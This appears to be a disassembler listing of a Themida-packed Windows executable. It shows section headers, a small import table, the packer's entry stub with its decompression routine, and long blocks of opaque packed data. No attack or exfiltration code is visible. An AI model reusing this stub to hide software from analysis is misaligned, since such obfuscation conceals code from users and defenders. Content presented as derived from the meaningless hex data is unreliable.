dword_4DC90C	dd 142340h		; DATA XREF: ___:00422E81r
					; ___:00422FACr
dword_4DC910	dd 1			; DATA XREF: ___:00422F77w sub_425AC7r
dword_4DC914	dd 1			; DATA XREF: sub_42026Dr
					; sub_42026D+11w ...
dword_4DC918	dd 2430758h		; DATA XREF: sub_41B7D3+3Er
					; sub_41CFD3+13r ...
dword_4DC91C	dd 2430758h		; DATA XREF: sub_41B7D3+35r
					; sub_41B7D3+57r ...
		dd 1B8h	dup(0)
		dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0)
___		ends

; Section 2. (virtual address 000DE000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000DE000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rsrc___	segment	para public 'DATA' use32
		assume cs:_rsrc___
		;org 4DE000h
		dd 400h	dup(0)
_rsrc___	ends

; Section 3. (virtual address 000DF000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000DF000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata__	segment	para public 'DATA' use32
		assume cs:_idata__
		;org 4DF000h
a7icwCw		db '7¨çwµ\çw',0
		align 4
		dd 77345219h, 4	dup(0)
		dd 0DF050h, 0DF000h, 3 dup(0)
		dd 0DF079h, 0DF00Ch, 5 dup(0)
aKernel32_dll_0	db 'KERNEL32.dll',0
		db 2 dup(0), 43h
aReatefilea	db 'reateFileA',0
		align 4
		dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
		dd 6C642E32h, 6Ch
aInitcommoncont	db 'InitCommonControls',0
		align 1000h
_idata__	ends

; Section 4. (virtual address 000E0000)
; Virtual size			: 000DC000 ( 901120.)
; Section size in file		: 000DC000 ( 901120.)
; Offset to raw	data for section: 000E0000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
Themida_	segment	para public 'DATA' use32
		assume cs:Themida_
		;org 4E0000h
		dd 41DA05CEh, 42BC1h, 54090h, 95172h, 0

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_1C		= dword	ptr -1Ch

; FUNCTION CHUNK AT 004E0265 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0053BC59 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0053EFAE SIZE 00000062 BYTES
; FUNCTION CHUNK AT 0053F224 SIZE 00000047 BYTES

		mov	eax, 0
		pusha
		or	eax, eax
		jz	short loc_4E0086
		call	$+5
		pop	eax
		add	eax, 53h
		cmp	byte ptr [eax],	0E9h
		jnz	short loc_4E0041
		popa
		jmp	short loc_4E0076
; ---------------------------------------------------------------------------
		db 0DBh, 2Dh, 37h
		dd 0FF004E00h, 0FFFFFFFFh, 3DFFFFFFh
		db 40h
; ---------------------------------------------------------------------------

loc_4E0041:				; CODE XREF: start+18j
		call	$+5
		pop	eax

loc_4E0047:				; DATA XREF: ___:00437A34o
		and	eax, 0FFFFF000h
		xor	edi, edi

loc_4E004E:				; CODE XREF: start+5Ej
		mov	bx, 5A19h
		add	bx, 34h
		cmp	[eax], bx
		jnz	short loc_4E006D
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		mov	ebx, 44E9h
		add	ebx, 67h
		cmp	[edx], ebx
		jz	short loc_4E0074

loc_4E006D:				; CODE XREF: start+45j
		sub	eax, 1000h
		jmp	short loc_4E004E
; ---------------------------------------------------------------------------

loc_4E0074:				; CODE XREF: start+57j
		mov	edi, eax

loc_4E0076:				; CODE XREF: start+1Bj
		jmp	loc_4E0265
; ---------------------------------------------------------------------------
		db 3
		dd 26AB9C7h, 0CF03000Eh
		db 0EBh, 0Ah
; ---------------------------------------------------------------------------

loc_4E0086:				; CODE XREF: start+8j
		mov	eax, offset loc_53BC59
		mov	ecx, offset word_4E026A
		push	eax
		push	ecx
		call	sub_4E011B
		call	$+5
		pop	eax
		sub	eax, 26h
		mov	ecx, 1EFh
		mov	byte ptr [eax],	0E9h
		sub	ecx, 5
		mov	[eax+1], ecx
		popa
		jmp	loc_4E0265
start		endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 9328h
		dd 7888E4C9h, 0DA6E5EBCh, 3D630BCFh, 0D85F1F80h, 0DCBA75EBh
		dd 1D3B76EDh, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh
		dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 564635CCh
		dd 0F28784C5h, 78F2E432h, 172F5EBCh, 9122458Bh,	0D8B164C8h
		dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h
		db 0C8h, 0E4h, 0F2h

; =============== S U B	R O U T	I N E =======================================



sub_4E011B	proc near		; CODE XREF: start+7Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	esi, [esp+20h+arg_0]
		mov	edi, [esp+20h+arg_4]
		cld
		mov	dl, 80h

loc_4E0127:				; CODE XREF: sub_4E011B:loc_4E013Bj
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2

loc_4E0132:				; CODE XREF: sub_4E011B+7Aj
					; sub_4E011B+C3j ...
		add	dl, dl
		jnz	short loc_4E013B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E013B:				; CODE XREF: sub_4E011B+19j
		jnb	short loc_4E0127
		add	dl, dl
		jnz	short loc_4E0146
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E0146:				; CODE XREF: sub_4E011B+24j
		jnb	short loc_4E0197
		xor	eax, eax
		add	dl, dl
		jnz	short loc_4E0153
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E0153:				; CODE XREF: sub_4E011B+31j
		jnb	loc_4E0238
		add	dl, dl
		jnz	short loc_4E0162
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E0162:				; CODE XREF: sub_4E011B+40j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E016D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E016D:				; CODE XREF: sub_4E011B+4Bj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E0178
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E0178:				; CODE XREF: sub_4E011B+56j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E0183
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E0183:				; CODE XREF: sub_4E011B+61j
		adc	eax, eax
		jz	short loc_4E018D
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi

loc_4E018D:				; CODE XREF: sub_4E011B+6Aj
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	short loc_4E0132
; ---------------------------------------------------------------------------

loc_4E0197:				; CODE XREF: sub_4E011B:loc_4E0146j
		mov	eax, 1

loc_4E019C:				; CODE XREF: sub_4E011B:loc_4E01B0j
		add	dl, dl
		jnz	short loc_4E01A5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E01A5:				; CODE XREF: sub_4E011B+83j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E01B0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E01B0:				; CODE XREF: sub_4E011B+8Ej
		jb	short loc_4E019C
		sub	eax, ebx
		mov	ebx, 1
		jnz	short loc_4E01E3
		mov	ecx, 1

loc_4E01C0:				; CODE XREF: sub_4E011B:loc_4E01D4j
		add	dl, dl
		jnz	short loc_4E01C9
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E01C9:				; CODE XREF: sub_4E011B+A7j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E01D4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E01D4:				; CODE XREF: sub_4E011B+B2j
		jb	short loc_4E01C0
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_4E0132
; ---------------------------------------------------------------------------

loc_4E01E3:				; CODE XREF: sub_4E011B+9Ej
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1

loc_4E01F1:				; CODE XREF: sub_4E011B:loc_4E0205j
		add	dl, dl
		jnz	short loc_4E01FA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E01FA:				; CODE XREF: sub_4E011B+D8j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E0205
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E0205:				; CODE XREF: sub_4E011B+E3j
		jb	short loc_4E01F1
		cmp	eax, 7D00h
		jnb	short loc_4E0228
		cmp	eax, 500h
		jb	short loc_4E0223
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E0132
; ---------------------------------------------------------------------------

loc_4E0223:				; CODE XREF: sub_4E011B+F8j
		cmp	eax, 7Fh
		ja	short loc_4E022B

loc_4E0228:				; CODE XREF: sub_4E011B+F1j
		add	ecx, 2

loc_4E022B:				; CODE XREF: sub_4E011B+10Bj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E0132
; ---------------------------------------------------------------------------

loc_4E0238:				; CODE XREF: sub_4E011B:loc_4E0153j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_4E0259
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_4E0132
; ---------------------------------------------------------------------------

loc_4E0259:				; CODE XREF: sub_4E011B+125j
		sub	edi, [esp+20h+arg_4]
		mov	[esp+20h+var_4], edi
		popa
		retn	8
sub_4E011B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_4E0265:				; CODE XREF: start:loc_4E0076j
					; start+9Dj
		jmp	loc_53BC59
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
word_4E026A	dw 38E9h		; DATA XREF: start+77o
		dd 1523350h, 5201BFBFh,	61747365h, 7041CC72h, 78F42EE2h
		dd 0F51FC2F9h, 87707191h, 14DDE5Fh, 37AFBEB8h, 0FE080335h
		dd 0CC4C2247h, 0A533E8FAh, 0EB42B801h, 0E19822BFh, 36FCBA0Ah
		dd 0AB3E848Bh, 42B824C8h, 18F6D2AFh, 7B01F2FAh,	85C550Ch
		dd 312D3430h, 0E1039246h, 54BCEF1Ah, 6D656803h,	84616469h
		dd 0A8A4AB3Ah, 11BCAA78h, 772103DCh, 3C60ED5h, 21A2AF11h
		dd 1CFF112Eh, 0D487C58Bh, 8008E860h, 5FED815Dh,	6060733h
		dd 2F519589h, 1DB5110Dh, 0FD851C18h, 0BD830820h, 7382899h
		dd 0E88B0C74h, 5AB8E222h, 0C7C27BFDh, 1D244470h, 11C93Eh
		dd 60E8456Ah, 9A6829A3h, 0E9FB8374h, 250A40DFh,	0A7A894Bh
		dd 24E9D544h, 57300214h, 0A8B55D0h, 0D8C483ECh,	815AC0EEh
		dd 34404DEAh, 0C7DA098Bh, 81BD845h, 89400E18h, 0FC7D8108h
		dd 741DC680h, 87F200Fh,	10B78324h, 4312FF98h, 36E163EBh
		dd 267461DCh, 4C2C914h,	0C4810646h, 8E02FF7Ch, 8D964449h
		dd 8B804501h, 85C7085Dh, 504A1944h, 0D1000A8Dh,	411888C3h
		dd 810BA889h, 206A2BDh,	94E3755Dh, 0BA8D2827h, 475EC64h
		dd 0BB0E8A80h, 0B85B90F4h, 540F37ABh, 0CCD0D378h, 3B4B080Fh
		dd 0AF05F775h, 244647C3h, 0F946624Ah, 61D142A2h, 0D0078ABAh
		dd 0EED85FF0h, 4DA0FC45h, 0ADA304EBh, 3E8046C8h, 0BAF740C5h
		dd 0E6348436h, 0EB0C197Dh, 0CF83E7Fh, 0F012C86Dh, 0A8F40E4Ch
		dd 14C14A10h, 0D604F065h, 0E0D1F803h, 2896C203h, 8ADB3301h
		dd 0FB80301Ch, 0C30A72CCh, 577390Ah, 26EFEBD3h,	617F1422h
		dd 660A0D67h, 0F51E08F6h, 0EA0AC3F4h, 411AC310h, 0A0D0B72h
		dd 24067746h, 5D0121EAh, 0F4EC87F0h, 2317D83h, 0CB3B072h
		dd 0A57676C0h, 0F826AA64h, 8D76E01Ch, 553BA8A0h, 820FFC0Ah
		dd 0B09CBD78h, 0E538AA1Bh, 0E08BA0Eh, 0FC700AB9h, 35DCBD84h
		dd 470FFE00h, 0FA1C7549h, 6A5D22B9h, 3F01BBCEh,	0EB82F146h
		dd 8ED8F10Ch, 37E10386h, 65510708h, 1D7F3683h, 26508AEEh
		dd 5A0E907h, 52FE6B59h,	13C304F2h, 90C45A21h, 19254D8Ah
		dd 8458205h, 42218016h,	6904C452h, 0C5E40C81h, 0C91B0BEAh
		dd 48CDAD00h, 0B75CB816h, 2C200C66h, 0F17AF9C3h, 1054DCC2h
		dd 0EA198381h, 8A0B0006h, 988820B8h, 8C39675Ch,	34CB1CD9h
		dd 3982803Bh, 0F765B4Eh, 51B80710h, 0C7D1043Dh,	4046663Bh
		dd 2E09751Dh, 480E1158h, 65E414ECh, 27D3090h, 8E05C584h
		dd 92A4F496h, 54047853h, 508C29C2h, 0DBE78671h,	0FFB3CA0Eh
		dd 77812B0Ch, 11D2204h,	0F984C134h, 90207533h, 76773FBCh
		dd 30EF670Ah, 0EC413302h, 9F7F8C89h, 4090FFCCh,	0E9EA45CFh
		dd 0C4625060h, 0CE8C5228h, 0AA82110Ah, 0AB3311B1h, 1384425Ah
		dd 82F85629h, 0FFEE825Eh, 111981AAh, 0A88A3EBDh, 238113B9h
		dd 61434A97h, 0BC74F4D8h, 8DDDD231h, 751200CFh,	0B87DD0F3h
		dd 0E201819Ah, 581EBC05h, 0CAC85D0Bh, 44863410h, 0E0F3074Bh
		dd 33B293C8h, 0D028228h, 5DEC821Ch, 1540EA8Dh, 30535342h
		dd 8AE4C45Bh, 43805543h, 0AAE5C453h, 88A101Bh, 8184B217h
		dd 59B4FD33h, 20F24049h, 96F9BF61h, 0B42D1400h,	868A62B5h
		dd 262A603Ah, 0F6CABC67h, 1DBE14C4h, 3D0FE906h,	9C79E207h
		dd 60DFDC3Fh, 0B09BB93Ah, 152BF81Ch, 7F048C10h,	159D913h
		dd 8DC182B4h, 0C018806Fh, 2644502Eh, 1C7B30BFh,	8CDBB8B7h
		dd 19BA1100h, 8251AB3Eh, 0D0CB04C3h, 0C0FD28C5h, 0A9184103h
		dd 1F9593Fh, 97AE55F3h,	6B8F533Ch, 0F8800190h, 52262876h
		dd 5E98405h, 88378510h,	0D27AEFA7h, 61371611h, 62F8213Fh
		dd 9622EAh, 0C8C1B223h,	0C7C9EB8h, 10E91551h, 0E11C5F1Dh
		dd 0AB40D2E7h, 0A74AA99h, 2A5301F7h, 5C547845h,	25A96160h
		dd 3950FF6h, 34D9DDFAh,	75F59092h, 15CB1F6Dh, 6F2589D5h
		dd 71F6D0Fh, 40BDE57Dh,	69D26D7Ah, 86287E6Fh, 0F8086E63h
		dd 0C72C012Bh, 0A74C2460h, 2498547h, 5A80D0D8h,	69546Fh
		dd 0F3CA5223h, 0CF188DDBh, 60643A01h, 0C96E8B35h, 0FE51A6C8h
		dd 2CFC50EAh, 5D601B6Ch, 0F7B0206Fh, 0F20FD133h, 5EAB8D74h
		dd 10BDDF0Ch, 71501844h, 64142880h, 81416760h, 3763A2Bh
		dd 51F04AD9h, 0A8C0B070h, 15186E95h, 0E429390Dh, 69F96058h
		dd 0E751C6F6h, 0E41F44A4h, 5E0F948h, 4F662013h,	0CB880EEAh
		dd 8F14FD8Ah, 3AF06540h, 0FF94548Ch, 0E97C9700h, 1DF294FBh
		dd 0C3AB00A4h, 0C523D7Ah, 2E009521h, 0B179A1D0h, 0CDAD1E7h
		dd 889D50E4h, 82448D48h, 7C800040h, 0A0B33841h,	8C02DAC1h
		dd 66AB1486h, 0F948A454h, 0F64DC327h, 766C1901h, 7471D251h
		dd 0B8035182h, 0D083E530h, 2900EE34h, 0F2172757h, 7E56BE4Bh
		dd 75BA020Dh, 6A4370D4h, 0CDA9E08Ch, 69626330h,	0D136E1h
		dd 52CAE8E3h, 0A58F54B9h, 0C3AD0101h, 0C6DC076Ch, 503CD440h
		dd 35894025h, 24E8A438h, 718F10FFh, 7D0950D8h, 3820D1ECh
		dd 63E7CEABh, 58F4B954h, 0C7CAD22h, 0F44B66B3h,	0F18CCB9h
		dd 0E428C750h, 9E892060h, 750CCAE4h, 0F9818D18h, 43FB00B7h
		dd 292A0E15h, 0FA01FFB8h, 5934767Bh, 904868D2h,	40ECFCA3h
		dd 2100CEF1h, 69185197h, 0C1F0840Fh, 0FD586C68h, 0FF650794h
		dd 3F1815C6h, 9448D2C8h, 0C9E77D83h, 60D4D105h,	0A4303CEBh
		dd 60E97DD1h, 4F1821CCh, 0ACA86663h, 0F30044D3h, 0B8C5C6C9h
		dd 7555433h, 0EED81E0Ah, 30B70037h, 0B0927608h,	1F80B372h
		dd 0E8515266h, 20F0C450h, 0AC0AFE70h, 0C8980F6Ch, 0D1876A82h
		dd 25384196h, 638502F6h, 3900A044h, 0C08D08B5h,	76E62179h
		dd 49D81E48h, 7E45035Ah, 0B914CFEFh, 869C76D2h,	0F841E37Dh
		dd 216023Bh, 27695625h,	0C2280064h, 0E020A424h,	0BE0431D6h
		dd 0E8BA0831h, 0E10190A9h, 0D35695DFh, 88E8F024h, 67A40734h
		dd 0A2C8C928h, 1861B6F7h, 3C448Ch, 0FD2E5B9Bh, 8D48AB61h
		dd 0ED8E81C0h, 9DCC45Ch, 256C005Fh, 5745B636h, 5AFE7C4Bh
		dd 9EE8C801h, 0F0F4C083h, 9C669447h, 0F878F0A8h, 0ACB8C971h
		dd 52E9FC04h, 1EEC9400h, 1243E7A9h, 41769558h, 0ADE84E4Ch
		dd 2448BBDDh, 7A406C59h, 0CCB2BB80h, 0CBF1BFB8h, 5707680Ah
		dd 0F60284E0h, 0A0204429h, 56DEA2CCh, 4DEFE0BBh, 4700A4E8h
		dd 0E571C6B6h, 0A90EC7F2h, 0AE3AE77Ah, 42AC2098h, 0F34F4826h
		dd 2AA60h, 89B5DE1Ch, 3BE86F12h, 7010E30Eh, 63F98060h
		dd 3FC8F82h, 31CD48Eh, 0D8C08427h, 30F9AB34h, 0A100C3E4h
		dd 2C7AC21h, 89ADDEh, 2820921Ah, 2BA2FDFEh, 0B50DE200h
		dd 6EA95D3Ah, 0E693023Bh, 8166C6C5h, 2271A840h,	4167EDE5h
		dd 0E0866380h, 97064D9Bh, 5F8368DCh, 0E2520918h, 0EC2BDD48h
		dd 0B8DCD608h, 1A325E80h, 618A30B2h, 5102FC7Ah,	2B1CE386h
		dd 0EC0C616Dh, 81486A00h, 0C441BBE3h, 1DAC001Bh, 9767543Ah
		dd 260014AAh, 1C425663h, 0D20CF92Eh, 51940429h,	80720F4h
		dd 0DF58C7C5h, 98B039D2h, 0A980D4BCh, 30F0F048h, 0C10FBA4h
		dd 24B07896h, 1676E122h, 23F083F7h, 197AD150h, 0CF449090h
		dd 307054D2h, 0C96420F0h, 1489DF6h, 4ED1122Eh, 568DD420h
		dd 46672871h, 6462309Ch, 956C32C1h, 12D54A00h, 0A9FC3320h
		dd 0C02E045Dh, 0C3041481h, 6010F934h, 390FD3D8h, 4032FFE5h
		dd 0E824C9C0h, 38186443h, 15A86899h, 52662CDBh,	6EA4720h
		dd 8C00716Ch, 5E2874A9h, 64D14A4h, 0C379542Ch, 4716984Ch
		dd 4408FB1Dh, 628D80D3h
		dd 0A189018Bh, 8AFC133Ah, 14DBE06Eh, 660AEF11h,	838EE56h
		dd 8D826AFAh, 0C02AC5ACh, 937B0B68h, 0A46C09C0h, 9F48F88Fh
		dd 1D2B1400h, 88B077D2h, 4026C003h, 21039406h, 0B4E47DADh
		dd 0E0F64482h, 0A8BBE724h, 9A0BDF8h, 0EB30FA14h, 98049487h
		dd 4E342E10h, 38F4C051h, 5D8088D9h, 0E852887Bh,	0DCB55012h
		dd 946B4448h, 4800E4F6h, 5049F15Bh, 0AF0057C5h,	0C360BC96h
		dd 0CF693ADh, 6BF5EB2Ch, 909F961h, 0A2609771h, 48D5041Ch
		dd 68B918h, 5D21EA4Ch, 48DA7785h, 0F880A8B8h, 0AC2EC767h
		dd 1F0118B7h, 0B8E27D84h, 6AD2398Fh, 0C7639119h, 0A33F6900h
		dd 0C543B283h, 37B7A0EFh, 0B7DB0246h, 9A665B94h, 1079EC61h
		dd 113E2D4h, 54F4E515h,	8E369E61h, 36E8A3A0h, 6D189440h
		dd 0A0E29BFFh, 9147669Ch, 7083AACh, 0E802D538h,	0E68F8958h
		dd 19B760ECh, 92CCE148h, 8FDBF0A0h, 0AAF5603h, 0C099AC13h
		dd 698CFBF6h, 0DA059183h, 0F27D8076h, 5912BE2Fh, 0E004AB97h
		dd 505CFD4h, 178040D3h,	31238939h, 0D7F7BE13h, 91F3EC0Fh
		dd 800C8C3Ch, 39103DAFh, 39D60430h, 746375h, 0C11B290h
		dd 51A1607Bh, 0CA58E20Ch, 5CEAC08Dh, 6482B8F8h,	0F44B6948h
		dd 8D8430F5h, 39005E23h, 0DC480129h, 15F50B42h,	94CE8FE7h
		dd 0A044523Ch, 0D8140128h, 88607E45h, 6EE38BC9h, 1DE42940h
		dd 3BA0668Ah, 1380B3BBh, 80474B37h, 5F000E1Dh, 0C017129Eh
		dd 0B79D11Ch, 8CE93B2Eh, 5A88893h, 54003DC6h, 0E685455Bh
		dd 0E6685178h, 0EF34308Dh, 8C06D571h, 5F560E07h, 76A212F8h
		dd 0D79E8639h, 39DA7049h, 0DF386765h, 2B891480h, 58D0F118h
		dd 36F9802h, 40EB94D8h,	12AA5514h, 8131A47h, 3C876E7Ch
		dd 0A04A4D60h, 65B8E001h, 0E8C47DFCh, 1EE1D3C0h, 390062ECh
		dd 7985D34Ah, 3D29FF2h,	0CFA89A0Bh, 3BC01DF7h, 507EC07Ah
		dd 9B067CBAh, 0EC4A6640h, 624A6D1h, 0F77D1476h,	0B407D6FEh
		dd 0EAFD630Ah, 5895D195h, 7252F81Eh, 0C4F344D1h, 6FD2A200h
		dd 0D88EE099h, 340173BCh, 0A3EFE489h, 0D62B034h, 0ACF7EB06h
		dd 5AD84351h, 385141DAh, 2C0C17A6h, 0AAB1FFh, 0BF648FDAh
		dd 4D38E270h, 14135096h, 0EAAB3801h, 9C507103h,	4CA2658Fh
		dd 9BC01468h, 58DA289Fh, 0FBAAED02h, 0C8DB55D8h, 413FE770h
		dd 9C1098BDh, 24595430h, 3804487h, 0DE50EFFFh, 0B3188862h
		dd 20820971h, 0F400D5D4h, 0B262D760h, 895A63ECh, 2D81A21Bh
		dd 0F153C412h, 0A3FDC500h, 7624EF47h, 43333CA6h, 0D8E260E2h
		dd 5B036921h, 0F140E408h, 0D450ED33h, 5F17E9h, 8FE51AE0h
		dd 0ED4B8CE2h, 0B1F3FB01h, 0AE650EECh, 0DF5C2881h, 0E8364457h
		dd 0C892BA5Bh, 7C2D5011h, 4CF46900h, 2106F0A8h,	0FAFC1A1Eh
		dd 45D81580h, 600368F6h, 2FB8866h, 0B32C732Fh, 5C037446h
		dd 906D69D8h, 0AD6266h,	37F401FBh, 5AD2B0C0h, 0D1883D61h
		dd 0A60A8B8h, 0DB4328F7h, 32EA24B0h, 60F00BE0h,	0BC4C3820h
		dd 0FA00CC0Ch, 0D5A61E6h, 0A7652B1Fh, 1EA20804h, 4E95A000h
		dd 3F1526AEh, 1201EBC4h, 5D8A6B3Eh, 1F19BD84h, 41B08954h
		dd 714BBF55h, 9B3D0018h, 0E75DDD85h, 6E009140h,	0DC89094Ah
		dd 20650DE6h, 0B81E3773h, 3D839FEBh, 18420E6Bh,	10DF1A68h
		dd 5BFC9547h, 76CD28C0h, 11DD36h, 9EE28B09h, 7DE387ABh
		dd 0D9376500h, 8E076DA3h, 0D4D301BFh, 5C643D17h, 0CD9BE389h
		dd 9771000h, 0F97E5EB7h, 6AAB0056h, 5905FB29h, 0BF378BD5h
		dd 0F9C32950h, 4CD00F10h, 0DCE02932h, 0E6EE08Eh, 888C8529h
		dd 0A2A9E0BFh, 0A364F346h, 9765F0A0h, 0A2B58F1h, 2AE98C1Fh
		dd 0D2A1808h, 23AA286Eh, 42412E6Fh, 6FC010h, 8BF5302Bh
		dd 9147E730h, 609589B8h, 843F7990h, 0E730934Ah,	1E652143h
		dd 0AE0A496h, 6D8A8DEAh, 0AFD88218h, 90806AF8h,	0D62B194h
		dd 4CC00F1Bh, 4408BA71h, 2A9F3A00h, 7E8BDD0Ah, 8C1ED8h
		dd 3EF2C8D6h, 1E14839Dh, 10844126h, 0CC06A538h,	38F80331h
		dd 3F370D18h, 74E52B89h, 0D97B330Ch, 8AC3D841h,	0A8C7592Ah
		dd 0DB25E314h, 0C55C90F8h, 0A841ADF6h, 56FA29E4h, 189F5880h
		dd 88E9867h, 0FB094300h, 79C4AD23h, 17CF0062h, 3B0BB25Ch
		dd 0F4005834h, 0F9308A2Ch, 212B7Ah, 0F2B3D7B9h,	0C6858B67h
		dd 0E911A702h, 40155FB6h, 1ED0D2D4h, 407E0D24h,	18DA6EC3h
		dd 49F23165h, 0D1BB40C1h, 3F00F5ACh, 0FE7252DDh, 0FB5FBC0Eh
		dd 0C62BC0C4h, 7F760h, 0C991E83Bh, 3A20651Ch, 0C72A7B01h
		dd 67C8D228h, 0FC2984C4h, 0CEFE4851h, 0E0124914h, 0F9AA0491h
		dd 848FF850h, 0FC37071Ch, 0AF5FB752h, 0C5C3001Ch, 38C8CA58h
		dd 1744F300h, 4F31A31Ah, 0C4D8F349h, 0B9D906DEh, 40858755h
		dd 68FB1200h, 0A920688h, 4BC1002Bh, 204C35F7h, 2400DA46h
		dd 596EB2CAh, 8D00592h,	67CDD8BDh, 0F391A02h, 921000FAh
		dd 0D600D069h, 4823F724h, 0C970EFh, 4F2DD830h, 0D416CE8Dh
		dd 0F800BD7Ah, 2F7B8855h, 0EFFFB39h, 0CF12AF68h, 0C2D4D084h
		dd 94450C38h, 299140D7h, 150E4D06h, 8062B6F9h, 0D72BF792h
		dd 3C20E825h, 0D9802144h, 0F916A31Ch, 1503918Eh, 676DC8B9h
		dd 1F85C03Ch, 0E09033Ah, 68C489C0h, 19C5D180h, 522F2800h
		dd 65F25717h, 4CB95C7Dh, 0BE083B03h, 40C671CBh,	4F1D8708h
		dd 0C4B3000Ch, 0C92BF5C7h, 0BCA1900h, 0DE43ED40h, 1696005Bh
		dd 43C4955h, 0AC00B8BEh, 42543B67h, 0FE431Ch, 0F9ADB90Dh
		dd 0C8BDF5C6h, 8C6DE72Ch, 13017ED5h, 0C68E9040h, 0B6C0114Dh
		dd 76140EB4h, 0E880C266h, 1B38BCF6h, 2C17451Eh,	7B1CF7F9h
		dd 0D48F1D8Fh, 926720ACh, 3A038Eh, 892850D0h, 2AF681FFh
		dd 0B25DD50Eh, 6FF2E00Ch, 8A5BDBh, 3B8B422Dh, 0C9D7DCB5h
		dd 5456B200h, 0B521C92h, 0E0A4F84Fh, 0D5650091h, 0BAF75917h
		dd 4700223Bh, 1A885BC8h, 3C8BF9h, 0D8D5CE08h, 9F5401F5h
		dd 0FD371E00h, 0F888230Dh, 0D3E8C4h, 1CF427D6h,	0C9711481h
		dd 1AC2E59h, 0BD1B9382h, 0A42C73CBh, 41B8841h, 92CEA0FFh
		dd 0D7A500DFh, 0D9CAE1AAh, 0AF057B9Eh, 1EBD6EAEh, 0C880342Ah
		dd 2D7AE3A6h, 8FAEC400h, 4ED9A579h, 9FFE15D0h, 2AC31C8Ah
		dd 10003205h, 0F1014EDh, 18A108E6h, 2954635Eh, 52075574h
		dd 606A427Eh, 77A2F0F0h, 4A400F96h, 0F163C4h, 973BBFAAh
		dd 0CDF16Ch, 98D4197Eh,	62FC3091h, 4F00D07Bh, 76C2901h
		dd 0B57B01Fh, 53DF5D8Ah, 1A8150C0h, 0D979CF05h,	54005A4Ch
		dd 69E2C3B8h, 0E6B3943h, 1C86D295h, 0B03B1C88h,	7DA0D90Bh
		dd 23CD1E31h, 0F121C015h, 52B318C6h, 29009FEEh,	56EA8C07h
		dd 0B68B65A0h, 2EE702B8h, 0D4D81833h, 6EF79310h, 0EB177458h
		dd 77A89101h, 88580C5Fh, 0B1C0442Ah, 0DE51188Ch, 0A7B80006h
		dd 378EADB2h, 0EB30C17Ah, 601E49DFh, 6705E850h,	91834013h
		dd 8009F67Bh, 0E9C72DC1h, 19D2A485h, 98C6A9Eh, 0CD218032h
		dd 0EDEEE9CEh, 36620339h, 9E822179h, 8FCABEC0h,	99180430h
		dd 1FA7A615h, 6C3358h, 0D7CC413Ah, 632AF308h, 1C0EDC5Eh
		dd 6066C37Ah, 0FC26BB78h, 0FEBD00FDh, 7E202FB7h, 0E82887D3h
		dd 0A9149481h, 15C952Ah, 31D2FF0Dh, 187889F4h, 6099233h
		dd 7ADF2102h, 0A0BC9931h, 88B9C838h, 0D1C40074h, 0A403A9A3h
		dd 2A00676Dh, 9E831DF7h, 607AC0DDh, 3E3508A0h, 0ED80C6F3h
		dd 86D004B1h, 0E462E21Eh, 0E1077634h, 49FF467Eh, 20B038CDh
		dd 0D2B8F228h, 0CB9F1D4h
		dd 0C89B519Fh, 0BF0F148Ah, 8E05F820h, 4242981Eh, 0AF036E0h
